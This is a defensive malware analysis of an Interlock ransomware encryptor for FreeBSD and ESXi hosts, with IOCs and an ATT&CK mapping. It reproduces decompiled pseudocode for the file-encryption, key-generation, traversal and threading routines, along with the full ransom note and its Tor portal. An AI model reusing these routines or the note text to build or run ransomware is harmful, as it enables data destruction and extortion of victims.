Interlock Ransomware: Deep Dive into a C-Based FreeBSD Encryptor

Disclaimer: This analysis was conducted for educational and defensive security research purposes only. The malware sample was analyzed in an isolated environment. No malicious activity was performed against any live systems.


Executive Summary

This report presents an in-depth reverse engineering analysis of an Interlock ransomware sample targeting FreeBSD systems. The sample is a statically-linked ELF 64-bit executable compiled from C source code, incorporating the LibTomCrypt cryptographic library and the FreeBSD libthr (POSIX threads) library directly into the binary.

Key findings include:

  • Target platform: FreeBSD (evidenced by statically linked FreeBSD libthr/libc, /usr/src/lib/libthr/ debug paths, and FreeBSD-specific syscalls)
  • Hybrid encryption: RSA-4096 public key encryption for key wrapping + AES-256-CBC for file content encryption, with ChaCha20 PRNG for RSA operations
  • Intermittent encryption: Only encrypts portions of files with increasing gaps (1MB, 2MB, 3MB…) for speed over thoroughness
  • Multi-threaded: Producer-consumer model using N-1 CPU cores with a 30-slot work queue
  • Weak key generation: Per-file AES keys generated using rand() seeded with time() ^ clock() ^ getCountProc() — a cryptographically weak PRNG, though multi-threaded consumption of the rand() stream complicates seed-based recovery
  • VMware ESXi awareness: File exclusion list targets ESXi bootbank artifacts (boot.cfg, .b00, .v00-.v07, .t00, .sf) to avoid bricking the hypervisor host while encrypting data
  • Self-deletion: Optional -del flag removes the binary after encryption
  • No anti-analysis: Zero anti-debugging, anti-VM, or anti-sandbox techniques detected
  • No C2 communication: Purely offline encryptor — no network callbacks or data exfiltration in the malware’s own call graph (though the statically linked libc does contain network-capable library code)
  • Tor-based negotiation: Victims directed to .onion portal with a unique company ID

Sample Overview

Property Value
SHA-256 e86bb8361c436be94b0901e5b39db9b6666134f23cce1e5581421c2981405cb1
File Type ELF 64-bit LSB executable
Architecture x86-64 (AMD64)
Target OS FreeBSD
Compiler C (likely Clang/GCC, FreeBSD toolchain)
Linking Statically linked (no dynamic imports)
Binary Size ~850 KB
Address Range 0x400000 - 0x4D4B28
Crypto Library LibTomCrypt (embedded)
Threading FreeBSD libthr (POSIX threads, statically linked)
File Extension .interlock
Ransom Note !__README__!.txt

Sections

Section Size Permissions Entropy Notes
.text 490.7 KB R-X 6.28 Main code section — 1,702 functions
.rodata 74.7 KB R– 5.31 Read-only data: strings, crypto tables, ransom note
.data 18.4 KB RW- 2.34 Globals: RSA public key, exclusion lists, config
.bss 188.1 KB RW- 0.00 Uninitialized data: thread state, crypto contexts
.eh_frame 54.7 KB R– 4.93 Exception handling frames
.eh_frame_hdr 12.5 KB R– 5.65 Exception handling index

The binary is entirely self-contained with no external dependencies — a deliberate choice for maximum portability across FreeBSD-based systems. The ESXi-aware file exclusions suggest it is also intended to run on VMware ESXi hosts, though ESXi uses its own VMkernel (not a FreeBSD kernel) and only shares some FreeBSD userland heritage.


Execution Flow Overview

Execution Flow

The ransomware follows a straightforward linear execution model:

_start
  └─► main()
        ├─► initRand()      — Seed PRNG
        ├─► params()         — Parse command-line arguments
        ├─► threadInit()     — Initialize crypto + spawn worker threads
        ├─► [encrypt target] — Based on CLI args:
        │     ├─ pathFile set?  → threadStart(pathFile)   [single file]
        │     ├─ pathDir set?   → loopdir(pathDir)        [directory tree]
        │     └─ neither?       → allLoop() → loopdir("/") [ENTIRE filesystem]
        ├─► waitThread()     — Join all worker threads
        ├─► threadFree()     — Cleanup crypto state + free resources
        └─► removeme()       — Self-delete if -del flag set

Dead Code: detach()

The binary contains a detach() function at 0x401C70 that daemonizes the process via the classic fork()setsid() → redirect stdio to /dev/null pattern. However, detach() has zero callers in the current binary — it is dead code. This suggests the function was either used in an earlier version of the ransomware (e.g., for background execution) or is reserved for a deployment mode not active in this build. Its presence is noted for completeness but it has no runtime effect.

Command-Line Parameters

Figure 1: IDA Hex-Rays pseudocode for main() (top) and params() (bottom). Note params() returns early on -s/--system (lines 29-34), but main() ignores the return value and proceeds to threadInit() and encryption.

main() and params() pseudocode

The binary accepts the following arguments, parsed by params() at 0x401D20:

Flag Long Form Description
-d --directory Encrypt a specific directory tree
-f --file Encrypt a single file
-del --delete Delete the binary after encryption completes
-s --system Causes params() to return early, but main() ignores the return value — execution continues regardless. If no -d/-f was parsed before -s, the binary falls through to allLoop() and encrypts the entire filesystem. The intended semantics are unclear from static analysis alone.

Each argument is preprocessed by formatArg() at 0x4025C0, which strips surrounding quotes and removes a single trailing slash or backslash from -d/-f operands. This normalizes operator-supplied paths (e.g., "/data/" becomes /data).

Default behavior: If neither -d nor -f is provided (or was not yet parsed when -s triggers an early return from params()), the ransomware calls allLoop() which invokes loopdir("/") — encrypting the entire filesystem starting from root.

PRNG Initialization

Figure 2: IDA Hex-Rays pseudocode for initRand() (top) and generateKey() (bottom), showing the weak rand()-based key generation. initRand() seeds with time ^ clock ^ getCountProc(), and generateKey() fills the 48-byte key buffer with rand() calls XORed with clock ^ filesize.

initRand() and generateKey() pseudocode

initRand() at 0x401C20 seeds the C standard library rand() function:

void initRand() {
    time_t t = time(NULL);
    clock_t c = clock();
    int procs = getCountProc();  // counts /proc entries (running processes)
    srand(procs ^ (t ^ c));
}

This seed has low entropy: time() gives second-resolution wall clock, clock() gives CPU time (near-zero at startup), and process count is enumerable. The implications are discussed in the Decryption Feasibility section.

/proc failure mode: getCountProc() returns -1 (cast to 0xFFFFFFFF as unsigned) if opendir("/proc") fails. On systems without procfs mounted (common on FreeBSD and ESXi), the seed degenerates to 0xFFFFFFFF ^ (time ^ clock), which is effectively ~(time ^ clock) — further reducing entropy and making the seed more predictable on those platforms.


Encryption Engine

Hybrid Encryption Scheme

Encryption Scheme

Interlock employs a standard hybrid encryption model using LibTomCrypt:

  1. Per-file symmetric key: 48 random bytes generated for each file (32-byte AES key + 16-byte IV)
  2. RSA key wrapping: The 48-byte key material is encrypted with an embedded RSA-4096 public key
  3. AES-256-CBC: File content is encrypted using the per-file key
  4. Key blob appended: The RSA-encrypted key blob + 2-byte length field is appended to the file

RSA Key Loading

Figure 3: IDA Hex-Rays pseudocode for init_rsa(). Shows LibTomMath descriptor copy (line 8), ChaCha20 PRNG initialization via init_prng (line 11), CHC hash registration (line 16), and rsa_import loading the embedded public key from &KEY with KEY_LEN bytes (line 21).

init_rsa() pseudocode

init_rsa() at 0x401A80 initializes the cryptographic subsystem:

__int64 init_rsa() {
    prng = malloc(0x4500);            // ChaCha20 PRNG state
    pKey = malloc(0x48);              // RSA key structure
    memcpy(&ltc_mp, &ltm_desc, 0x1A8); // LibTomMath descriptor

    init_prng(prng, &prngIdx);        // Register & seed ChaCha20 PRNG
    register_hash(&chc_desc);         // Register CHC hash
    hashIdx = find_hash("chc_hash");  // Find hash index
    rsa_import(&KEY, KEY_LEN, pKey);  // Import embedded RSA public key
}

The embedded RSA public key at 0x4A15D0 is a 550-byte DER-encoded X.509 SubjectPublicKeyInfo structure:

  • Wrapper: SubjectPublicKeyInfo with AlgorithmIdentifier OID 1.2.840.113549.1.1.1 (rsaEncryption)
  • Key size: 4096 bits (512-byte modulus)
  • Public exponent: 65537 (0x10001)
  • Total DER size: 550 bytes (0x226)

The ChaCha20 PRNG used for RSA padding operations is seeded with 40 bytes from rand() — inheriting the weak seed from initRand().

Per-File Key Generation

generateKey() at 0x402C80 creates the 48-byte key material for each file:

void* generateKey(int filesize, unsigned int keylen) {  // keylen = 0x30 (48)
    void* key = malloc(keylen + 10);
    int clk = clock();

    // First pass: fill with rand() output
    for (int i = 0; i < keylen; i += 4)
        *(uint32_t*)(key + i) = rand();

    // Second pass: XOR with clock^filesize^rand()
    for (int j = 0; j < keylen/4; j++)
        *(uint32_t*)(key + j*4) += rand() ^ clk ^ filesize;

    return key;  // bytes[0:32] = AES key, bytes[32:48] = IV
}

Weakness: The per-file keys are derived entirely from rand() calls and deterministic values (clock(), filesize). Since rand() was seeded with a low-entropy value in initRand(), the PRNG state is theoretically predictable. However, rand() is a process-global function and generateKey() is called from multiple worker threads concurrently — the interleaving of rand() calls across threads is scheduler-dependent and non-deterministic, which significantly complicates any attempt to replay the key stream from a known seed.

RSA Key Wrapping

rsaCrypt() at 0x402B90 encrypts the 48-byte key material:

BYTE* rsaCrypt(char* key, uint64_t keylen, BYTE* outbuf, uint64_t* outlen) {
    *outlen = 1280;                    // max output buffer
    mutexLockRsa();                     // Thread-safe RSA access

    rsa_encrypt_key_ex(
        key, keylen,                    // 48-byte plaintext key
        outbuf, outlen,                 // encrypted output
        NULL, 0,                        // no label
        getPrng(), getPrngIdx(),        // ChaCha20 PRNG
        getHashIdx(),                   // CHC hash
        1,                              // padding type = LTC_PKCS_1_OAEP
        getKey()                        // RSA-4096 public key
    );

    mutexUnlockRsa();
    return outbuf;
}

Key observations:

  • OAEP padding (padding type 1 = LTC_PKCS_1_OAEP) — the more secure padding mode
  • Mutex-protected: RSA operations are serialized across threads to protect the shared PRNG state
  • On failure, outlen is set to 0xFFFF and the file is skipped (not encrypted)

AES-256-CBC Intermittent Encryption

Figure 4: IDA Hex-Rays pseudocode for cryptBlocks(). Key details: find_cipher("aes") and cbc_start with 0x20 (32-byte) key (line 51), cbc_setiv resets IV each chunk (line 64), 1MB max chunk reads (line 61), fseeko with growing gap (lines 72-75), and v38 += 0x100000 gap increment (line 78).

cryptBlocks() pseudocode

cryptBlocks() at 0x402D40 implements the actual file encryption with an intermittent pattern:

void cryptBlocks(FILE* fp, void* key, char* iv, int64_t filesize) {
    int64_t chunk = min(filesize, 0x100000);  // max 1MB per chunk
    int64_t gap = 0x100000;                    // initial gap = 1MB

    char* inbuf  = malloc(chunk + 32);
    char* outbuf = malloc(chunk + 32);
    cbc_state* cbc = malloc(sizeof(cbc_state));

    int cipher = find_cipher("aes");
    cbc_start(cipher, iv, key, 32, 0, cbc);   // AES-256, 32-byte key

    int64_t remaining = filesize;
    while (remaining > 0) {
        size_t n = fread(inbuf, 1, min(chunk, remaining), fp);
        cbc_setiv(iv, 16, cbc);                // Reset IV each chunk!
        cbc_encrypt(inbuf, outbuf, n, cbc);

        fseeko(fp, -n, SEEK_CUR);              // Seek back
        fwrite(outbuf, 1, n, fp);              // Overwrite with ciphertext

        remaining -= n;

        // Skip ahead by gap (intermittent encryption)
        if (gap <= remaining)
            fseeko(fp, gap, SEEK_CUR);
        else
            fseeko(fp, remaining, SEEK_CUR);

        remaining -= gap;
        gap += 0x100000;                       // Gap grows: 1MB, 2MB, 3MB...
    }

    cbc_done(cbc);
    free(inbuf); free(outbuf); free(cbc);
}

Intermittent encryption pattern: The ransomware encrypts the first 1MB, skips 1MB, encrypts 1MB, skips 2MB, encrypts 1MB, skips 3MB, and so on. This dramatically speeds up encryption of large files (such as VM disk images) at the cost of leaving significant portions of data unencrypted — potentially allowing partial data recovery.

IV reuse: The same IV is reloaded for each chunk via cbc_setiv(), meaning every encrypted chunk uses the same key and IV. This is a cryptographic weakness in CBC mode — identical first plaintext blocks across chunks will produce identical first ciphertext blocks.

Cryptographic Parameters Summary

Parameter Value
Asymmetric Algorithm RSA-4096
RSA Padding OAEP (PKCS#1 v2.1)
Symmetric Algorithm AES-256-CBC
Key Size 256-bit (32 bytes)
IV Size 128-bit (16 bytes)
PRNG (RSA operations) ChaCha20 (LibTomCrypt)
PRNG (Key generation) rand() / srand()weak
Hash (RSA/OAEP) CHC (Cipher Hash Construction) using AES
Key Material Per File 48 bytes (32 key + 16 IV)
Encryption Pattern Intermittent — 1MB blocks with growing gaps

File Processing Pipeline

Directory Traversal

loopdir() at 0x4012E0 implements an iterative (non-recursive) depth-first directory traversal using a manual stack:

void loopdir(char* path) {
    void** dirStack = malloc(0x400);   // Stack of DIR* pointers (128 entries)
    int* lenStack   = malloc(0x200);   // Stack of name lengths

    dirStack[0] = opendir(path);
    int depth = 0;
    int pathLen = strlen(path);

    while (depth >= 0) {
        struct dirent* entry;
        while ((entry = readdir(dirStack[depth])) != NULL) {
            // Build full path
            path[pathLen] = '/';
            strcat(path, entry->d_name);
            stat(path, &st);

            if (S_ISDIR(st.st_mode)) {
                // Skip ".", "..", and excluded directories
                if (is_dot_dir(entry) || checkExceptDir(entry->d_name))
                    continue;
                // Push directory onto stack
                depth++;
                dirStack[depth] = opendir(path);
            } else {
                // Skip excluded files and zero-size files
                if (checkExceptFile(entry->d_name) || st.st_size <= 0)
                    continue;
                toThread(path);  // Queue file for encryption
            }
        }
        toNote(path);            // Drop ransom note in current directory
        closedir(dirStack[depth]);
        depth--;                  // Pop back to parent
    }
}

Key behaviors:

  • Ransom note per directory: toNote() writes !__README__!.txt into every directory visited
  • Stat field gate: The decompilation shows a <= 0 check on a struct stat field (rendered as st_atim.tv_sec by IDA). The FreeBSD struct stat layout is not correctly modeled in this IDA database, so the exact field being checked is unresolved — it likely corresponds to st_size but this has not been confirmed by retyping the struct
  • No symlink following: Uses stat() (not lstat()), so symlinks are followed to their targets

Implementation Limitations / Robustness

The codebase has several implementation weaknesses that may cause crashes or undefined behavior under certain conditions:

  • Unbounded strcpy/strcat: loopdir(), toThread(), threadMain(), startCrypt(), and toNote() all use strcpy() or strcat() into fixed-size buffers (typically 1024 or 4096 bytes) with no length checks. File paths exceeding these limits will cause stack or heap buffer overflows, likely crashing the process.
  • Fixed directory stack depth: loopdir() allocates a 128-entry stack for DIR* pointers (malloc(0x400) = 128 × 8-byte pointers) and a 512-byte stack for name lengths (malloc(0x200) = 128 × 4-byte ints). Directory trees deeper than 128 levels will write out of bounds with no depth check.
  • Fixed work queue capacity: The global queue (globlQue) has 30 slots. There is a single producer thread (loopdir() on main) that throttles at queueCount >= 20, and consumers decrement under a mutex. The design is crude but functionally bounded given the single-producer constraint.
  • No error handling on crypto init: If init_rsa() returns a non-zero error code, threadInit() checks but effectively continues (jmp $+5 falls through). A failed RSA import or PRNG initialization would leave the crypto context in an undefined state.

These limitations explain likely crash scenarios on hosts with deeply nested directory structures or very long file paths — which could result in partial encryption with some files left untouched.

File Selection Logic

Excluded File Extensions (13 entries)

Figure 5: IDA Hex-Rays pseudocode for checkExceptFile(). The function iterates over 13 entries in the exceptFile array (20 bytes each, line 14), performing a right-to-left suffix comparison against the filename (line 19). The exceptFile array at 0x4A1010 contains the ESXi bootbank extensions listed below.

checkExceptFile() pseudocode

checkExceptFile() at 0x4017B0 performs a suffix match against this list:

Extension Purpose
boot.cfg ESXi boot configuration — defines kernel modules to load at boot
.sf VMware swap file
.b00 ESXi bootbank artifact — compressed kernel module/driver archive
.v00 - .v07 ESXi bootbank artifacts — compressed VIB (vSphere Installation Bundle) payloads loaded by boot.cfg
.t00 ESXi bootbank artifact — compressed tools/agent archive
!__README__!.txt Own ransom note (avoid re-encryption)

This exclusion list reveals ESXi awareness: the excluded files are all bootbank/kernel-module artifacts that ESXi loads during startup. By skipping these, the ransomware avoids bricking the hypervisor host — ensuring the system remains bootable (and the victim can see the ransom note) while data on the host is encrypted. Combined with the directory exclusion list that also includes Linux-specific entries (lib32, lib64, libx32, snap), the sample appears to be a FreeBSD-compiled encryptor with ESXi awareness, rather than exclusively ESXi-targeted.

Excluded Directories (24 entries)

checkExceptDir() at 0x4018D0 skips these directory names:

bin    boot   cdrom  dev    etc    home   lib    lib32
lib64  libx32 lost+found    media  mnt    opt    proc
run    root   sbin   snap   srv    sys    tmp    usr    var

Notable: This is essentially the entire standard Linux/FreeBSD root directory structure. The ransomware skips all system directories, meaning it targets non-standard mount points — exactly where VM datastores, NFS mounts, and custom data directories would be found on an ESXi/FreeBSD server.

Custom Extension Check

checkExceptFileCastom() at 0x4016F0 also checks if a file already has the .interlock extension, preventing double-encryption.

On-Disk Mutation Order

Figure 6: IDA Hex-Rays pseudocode for startCrypt(). Shows the full per-file encryption sequence: checkExceptFileCastom for .interlock check (line 48), fopen in rb+ mode (line 50), fsize (line 53), generateKey with 0x30 bytes (line 56), addPaddingFile if not 16-byte aligned (line 60), rsaCrypt for key wrapping (line 64), RSA blob append via fwrite (line 76), in-place content encryption via cryptBlocks (line 79), and final __sys_rename to .interlock (line 85).

startCrypt() pseudocode

startCrypt() transforms each file in a specific sequence that matters for forensic analysis of interrupted runs:

  1. Open file in rb+ mode (read-write, no truncation)
  2. Get file size via fseeko/ftello
  3. Generate 48-byte key material (generateKey())
  4. Pad file to 16-byte boundary if needed (addPaddingFile() — appends PKCS#7 padding bytes)
  5. RSA-encrypt the 48-byte key material → ~512-byte blob
  6. Append the RSA blob + 2-byte length field to the end of the file (fseeko to EOF, fwrite)
  7. Seek back to offset 0, then encrypt content in-place (cryptBlocks() — read, encrypt, seek back, write)
  8. Close the file
  9. Rename to original_name.interlock

If the process is interrupted (killed, crash, power loss), the file may be left in a partially transformed state:

  • After step 6 but before step 7: the RSA blob is appended but content is still plaintext. Recovery requires removing the appended RSA blob + length field. Note: if the file was not originally 16-byte aligned, step 4 will have already appended PKCS#7 padding bytes to the content — those must also be stripped to fully restore the original file.
  • During step 7: some chunks are encrypted, others are still plaintext, and the RSA blob is already appended
  • After step 7 but before step 9: fully encrypted but still has the original filename

The rename in step 9 is atomic on most filesystems, so a file either has its original name (potentially partially transformed) or the .interlock name (fully transformed).

Encrypted File Format

Encrypted File Format

+================================================================+
| Original file content (AES-256-CBC encrypted, intermittent)    |
| [Possibly PKCS#7 padded to 16-byte alignment]                 |
+================================================================+
| RSA-4096 encrypted key blob (~512 bytes)                       |
| Contains: encrypted(AES-256 key[32] + CBC IV[16])             |
+================================================================+
| 2-byte length field (uint16, little-endian)                    |
| Value = size of RSA blob above                                 |
+================================================================+

File renamed: original_name → original_name.interlock

To decrypt, the operator would:

  1. Read the last 2 bytes to get the RSA blob size
  2. Read the RSA blob from the end of the file
  3. Decrypt the RSA blob with the private key to recover AES key + IV
  4. Decrypt the file content using the recovered key material

Ransom Note Deployment

Figure 7: IDA Hex-Rays pseudocode for toNote(). Appends /!__README__!.txt to the directory path (line 3), opens for writing (line 5), writes 0xB03 bytes from the static NOTE_ARRAY buffer (line 10), then truncates the appended path suffix to restore the original directory path (line 9).

toNote() pseudocode

toNote() at 0x4031E0 drops a ransom note (!__README__!.txt, 0xB03 = 2819 bytes) in every directory traversed during encryption. The note is written from a static buffer NOTE_ARRAY embedded in the .data section at 0x4A1800.


Multi-Threaded Architecture

Threading Model

Thread Pool Configuration

threadInit() at 0x402890 creates the thread pool:

void threadInit() {
    init_rsa();                           // Initialize crypto
    register_cipher(&aes_desc);           // Register AES cipher

    int numThreads = getMaxThread();       // sysconf(NPROCESSORS_ONLN) - 1

    // Initialize mutexes
    pthread_mutexattr_init(&mutAttr);
    pthread_mutex_init(&queueMutex, &mutAttr);
    pthread_mutex_init(&rsaMutex, &mutAttrRsa);

    // Allocate work queue: 30 slots, each 1024 bytes
    globlQue = malloc(0xF0);              // 30 pointers
    for (int i = 0; i < 30; i++)
        globlQue[i] = malloc(0x400);      // 1024-byte path buffer per slot

    running = 1;

    // Spawn worker threads
    threads = malloc(8 * numThreads);
    for (int i = 0; i < numThreads; i++)
        pthread_create(&threads[i], NULL, threadMain, NULL);
}
  • Thread count: sysconf(_SC_NPROCESSORS_ONLN) - 1 — uses all CPUs minus one (leaves one for the main/producer thread)
  • Queue capacity: 30 slots (hardcoded), each holding a file path up to 1024 bytes

Producer-Consumer Pattern

Producer (toThread() at 0x402B00):

void toThread(char* filepath) {
    while (queueCount >= 20)     // Back-pressure: wait if queue > 20 items
        usleep(10000);           // 10ms delay

    pthread_mutex_lock(&queueMutex);
    strcpy(globlQue[queueCount], filepath);
    queueCount++;
    pthread_mutex_unlock(&queueMutex);
}

Consumer (threadMain() at 0x4027A0):

void threadMain(void* arg) {
    char* buf = malloc(0x400);

    while (1) {
        while (queueCount > 0) {
            pthread_mutex_lock(&queueMutex);
            if (queueCount > 0) {
                queueCount--;
                strcpy(buf, globlQue[queueCount]);  // LIFO order!
                pthread_mutex_unlock(&queueMutex);
                threadStart(buf);                     // Encrypt file
            } else {
                pthread_mutex_unlock(&queueMutex);
            }
        }
        if (!running)  break;    // Exit when main thread signals done
        usleep(5000);            // 5ms idle wait
    }
    free(buf);
}

Key observations:

  • LIFO order: Files are processed in stack order (last-in, first-out), not FIFO
  • Back-pressure at 20: Producer blocks when queue has 20+ items (not at capacity of 30), providing a buffer zone
  • Polling-based: Workers use usleep(5000) (5ms) busy-wait loop — not condition variables
  • Graceful shutdown: Main thread sets running = 0, workers drain the queue and exit

Post-Encryption Activities

Self-Deletion

If the -del/--delete flag was provided, removeme() at 0x402280 simply calls:

void removeme(char* argv0) {
    remove(argv0);    // Delete the binary using its own path from argv[0]
}

This is a basic self-deletion mechanism — no secure wiping or multi-pass overwrite.

What Interlock Does NOT Do

Compared to more sophisticated ransomware families, this sample notably lacks:

  • No shadow copy/snapshot deletion — no calls to destroy ZFS snapshots or backup volumes
  • No process/service termination — does not kill database servers, VMs, or file-locking processes
  • No persistence mechanisms — no cron jobs, init scripts, or rc.d entries
  • No C2 communication — purely offline encryptor with no network callbacks
  • No anti-analysis — zero anti-debugging, anti-VM, or anti-sandbox techniques
  • No privilege escalation — runs with whatever privileges it’s given
  • No log wiping — leaves system logs intact
  • No wallpaper change — FreeBSD/server binary, no desktop environment expected

This strongly suggests the binary is a post-exploitation payload — the operator has already gained privileged access to the target system and handles data exfiltration, lateral movement, and persistence through other tools.


Ransom Note Analysis

The ransom note (2,819 bytes) stored at 0x4A1800:

    INTERLOCK
    CRITICAL SECURITY ALERT

To Whom It May Concern,
Your organization has experienced a serious security breach. Immediate action
is required to mitigate further risks. Here are the details:

    THE CURRENT SITUATION
- Your systems have been infiltrated by unauthorized entities.
- Key files have been encrypted and are now inaccessible to you.
- Sensitive data has been extracted and is in our possession.

    WHAT YOU NEED TO DO NOW
1. Contact us via our secure, anonymous platform listed below.
2. Follow all instructions to recover your encrypted data.

Access Point: http://ebhmkoohccl45qes[...]aqaid.onion/support/step.php
Use your unique Company ID: 6ABHZ2O95ATC7EPVLQSU6DAN4XRLYTDU782JWPSSBXJVPTZY88KKPFYWCXKL

    DO NOT ATTEMPT:
- File alterations: Renaming, moving, or tampering with files will lead to
  irreversible damage.
- Third-party software: Using any recovery tools will corrupt the encryption
  keys, making recovery impossible.
- Reboots or shutdowns: System restarts may cause key damage.

    YOUR OPTIONS
#1. Ignore This Warning:
- In 96 hours, we will release or sell your sensitive data.
- Media outlets, regulators, and competitors will be notified.
- Your decryption keys will be destroyed, making recovery impossible.

#2. Cooperate With Us:
- You will receive the only working decryption tool for your files.
- We will guarantee the secure deletion of all exfiltrated data.
- All traces of this incident will be erased from public and private records.
- A full security audit will be provided to prevent future breaches.

    CONTACT US SECURELY
1. Install the TOR browser via https://torproject.org
2. Visit our anonymous contact form at:
   http://ebhmkoohccl45qes[...]aqaid.onion/support/step.php
3. Use your unique Company ID: 6ABHZ2O95ATC7EPVLQSU6DAN4XRLYTDU782JWPSSBXJVPTZY88KKPFYWCXKL

Analysis:

  • 96-hour deadline: Standard double-extortion pressure tactic
  • Hardcoded Company ID: 6ABHZ2O95ATC7EPVLQSU6DAN4XRLYTDU782JWPSSBXJVPTZY88KKPFYWCXKL — this is baked into the binary, meaning this sample is customized for a specific victim or campaign
  • Claims data exfiltration: “Sensitive data has been extracted” — but the malware’s own call graph contains no network operations, confirming exfiltration happens via separate tooling
  • Professional language: Uses corporate-security framing rather than aggressive threats
  • Single .onion endpoint: One Tor hidden service for all victim communication

Build Environment & Compilation Analysis

FreeBSD Origin

The binary contains debug paths that reveal it was compiled on or against a FreeBSD system:

/usr/src/lib/libthr/thread/thr_mutex.c
/usr/src/lib/libthr/thread/thr_kern.c
/usr/src/lib/libthr/thread/thr_init.c
/usr/src/lib/libthr/thread/thr_cond.c
/usr/src/lib/libthr/thread/thr_attr.c
/usr/src/lib/libthr/thread/thr_exit.c
/usr/src/lib/libthr/thread/thr_umtx.c
/usr/src/lib/libthr/thread/thr_spinlock.c
/usr/src/lib/libc/stdio/xprintf.c
/usr/src/lib/libc/stdio/xprintf_vis.c

These are standard FreeBSD source paths for the userland threading and C standard library, confirming static linking against FreeBSD system libraries.

Code Quality Observations

  • Typos in function names: checkExceptFileCastom (should be “Custom”), reversslash (should be “reverseSlash”), checkSpase (should be “checkSpace”) — suggests a non-native English speaker as the developer
  • Simple C code: No C++ features, no complex abstractions — straightforward procedural style
  • Manual stack-based recursion: loopdir() implements directory traversal iteratively with explicit stack management rather than using recursive calls
  • No obfuscation: All function names are meaningful and descriptive — no string encryption, no control flow flattening
  • Mixed coding standards: Some functions use camelCase (threadMain), others use lowercase (loopdir) — possibly multiple developers or evolved codebase

Library Dependencies (Statically Linked)

Library Purpose
LibTomCrypt Cryptographic primitives (RSA, AES, ChaCha20, DER/ASN.1)
LibTomMath Big integer arithmetic for RSA operations
FreeBSD libthr POSIX threads implementation
FreeBSD libc Standard C library (stdio, stdlib, string, etc.)

Decryption Feasibility

The use of rand()/srand() for per-file key generation is a notable weakness in the encryption scheme, though practical exploitation is non-trivial:

  1. Low-entropy seed: srand(getCountProc() ^ (time(NULL) ^ clock())) — all three components are deterministic or low-entropy:
    • time(NULL): Second-resolution timestamp — can be narrowed from file modification times
    • clock(): CPU time since start — nearly zero for a freshly launched process
    • getCountProc(): Number of running processes — typically 50-500 on a server
  2. Multi-threaded complication: While the seed space is small (potentially brute-forceable), rand() is a process-global function called from generateKey() across multiple concurrent worker threads. The interleaving of rand() calls between threads depends on OS scheduler behavior, thread timing, and lock contention. This means that even with the correct seed, reproducing the exact sequence of rand() values consumed by each thread (and thus each file’s key) would require knowing the precise thread scheduling order — information that is not recorded and not deterministic.

  3. ChaCha20 PRNG also affected: The ChaCha20 PRNG used for RSA-OAEP padding is seeded with 40 bytes from rand() during init_prng(), which runs before worker threads are spawned. This seeding is single-threaded and deterministic given the seed, but the PRNG is only used for RSA padding randomness — it does not affect the per-file AES keys.

  4. Practical assessment: The weak PRNG is a real design flaw that a more robust ransomware would avoid (e.g., by using /dev/urandom). However, characterizing it as directly exploitable for key recovery would overstate the static evidence. Successful exploitation would require either: (a) a single-threaded scenario (only 1 CPU), or (b) reconstruction of the exact thread scheduling interleave — a problem that may be tractable in specific conditions but is not guaranteed.

RSA-4096 key wrapping: Regardless of the PRNG weakness, each file’s key material is also encrypted under the embedded RSA-4096 public key. Without the corresponding private key, the per-file AES keys cannot be recovered through the normal decryption path. The PRNG weakness is only relevant if:

  • The attacker refuses to provide a decryptor
  • Law enforcement seizes infrastructure but not the private key
  • A researcher can reconstruct both the seed and the thread interleave

Intermittent encryption: Even without decryption, significant portions of large files remain unencrypted due to the growing-gap pattern. For a 10GB VM disk image, a substantial fraction of the file content is left in plaintext — enabling partial data recovery of unencrypted regions.


A Note on Library Artifacts vs Malware Logic

This binary is statically linked, meaning the entire FreeBSD libc, libthr, and LibTomCrypt codebases are embedded in the executable. Many strings, file paths, and function references visible in the binary belong to these libraries — not to the ransomware author’s code. Analysts should be careful not to attribute library behavior to the malware.

Notable library artifacts that are not malware IOCs:

  • /tmp/SEMD — referenced in the string table with zero cross-references; this is a FreeBSD libc artifact (likely related to sem_open), not a semaphore file created by the ransomware
  • /dev/urandom — referenced by LibTomMath’s s_mp_rand_platform() function, not by the ransomware’s key generation path (which uses rand()/srand())
  • /etc/malloc.conf, /var/run/log*, /dev/console, /usr/share/locale — all FreeBSD libc internal paths
  • The numerous _pthread_* and _thr_* functions — FreeBSD libthr, not malware threading code
  • /usr/src/lib/libthr/thread/*.c and /usr/src/lib/libc/stdio/*.c — compile-time debug paths from the FreeBSD build environment

Only strings with confirmed cross-references from the ransomware’s own functions (main, params, loopdir, startCrypt, toNote, etc.) should be treated as IOCs.


Indicators of Compromise

File Indicators

Indicator Value
SHA-256 e86bb8361c436be94b0901e5b39db9b6666134f23cce1e5581421c2981405cb1
Encrypted file extension .interlock
Ransom note filename !__README__!.txt
Ransom note size 2,819 bytes (0xB03)

Network Indicators

Indicator Value
Tor negotiation portal http://ebhmkoohccl45qesdbvrjqtyro2hmhkmh6vkyfyjjzfllm3ix72aqaid.onion/support/step.php
Tor download reference https://torproject.org
Victim Company ID 6ABHZ2O95ATC7EPVLQSU6DAN4XRLYTDU782JWPSSBXJVPTZY88KKPFYWCXKL

Host-Based Indicators

Indicator Description
Mass .interlock file renaming Files renamed with .interlock suffix
!__README__!.txt in multiple directories Ransom note dropped in every traversed directory
High CPU utilization (N-1 cores) Multi-threaded encryption saturates available CPUs
/proc directory enumeration getCountProc() reads /proc to count processes
File size changes RSA blob + 2-byte length appended to each encrypted file

Strings of Interest (Malware Logic Only)

The following strings are confirmed referenced by the ransomware’s own code (not library artifacts):

.interlock           — encrypted file extension (startCrypt)
!__README__!.txt     — ransom note filename (toNote, checkExceptFile)
/!__README__!.txt    — ransom note path suffix (toNote)
rb+                  — fopen mode for encryption (startCrypt)
wb                   — fopen mode for ransom note (toNote)
aes                  — cipher name for find_cipher() (cryptBlocks)
chc_hash             — hash name for find_hash() (init_rsa)
-d / --directory     — CLI flag (params)
-f / --file          — CLI flag (params)
-del / --delete      — CLI flag (params)
-s / --system        — CLI flag (params)
/proc                — process enumeration (getCountProc)
opendir(/proc)       — error string (getCountProc)
/dev/null            — referenced by detach(), which is dead code (see below)

Not malware IOCs (library artifacts with zero or library-only xrefs): /tmp/SEMD (FreeBSD libc), /dev/urandom (LibTomMath), /etc/malloc.conf (jemalloc), /var/run/log (syslog).


MITRE ATT&CK Mapping

Tactic Technique ID Technique Name Details
Discovery T1082 System Information Discovery sysconf(_SC_NPROCESSORS_ONLN) to enumerate CPU count for thread pool sizing
Discovery T1057 Process Discovery getCountProc() enumerates /proc directory entries to count running processes (used for PRNG seeding)
Impact T1486 Data Encrypted for Impact AES-256-CBC + RSA-4096 hybrid encryption with intermittent pattern; files renamed to .interlock; ransom note dropped per directory
Defense Evasion T1070.004 File Deletion Self-deletion of the binary via remove(argv[0]) when -del flag is set
Command and Control None — purely offline encryptor
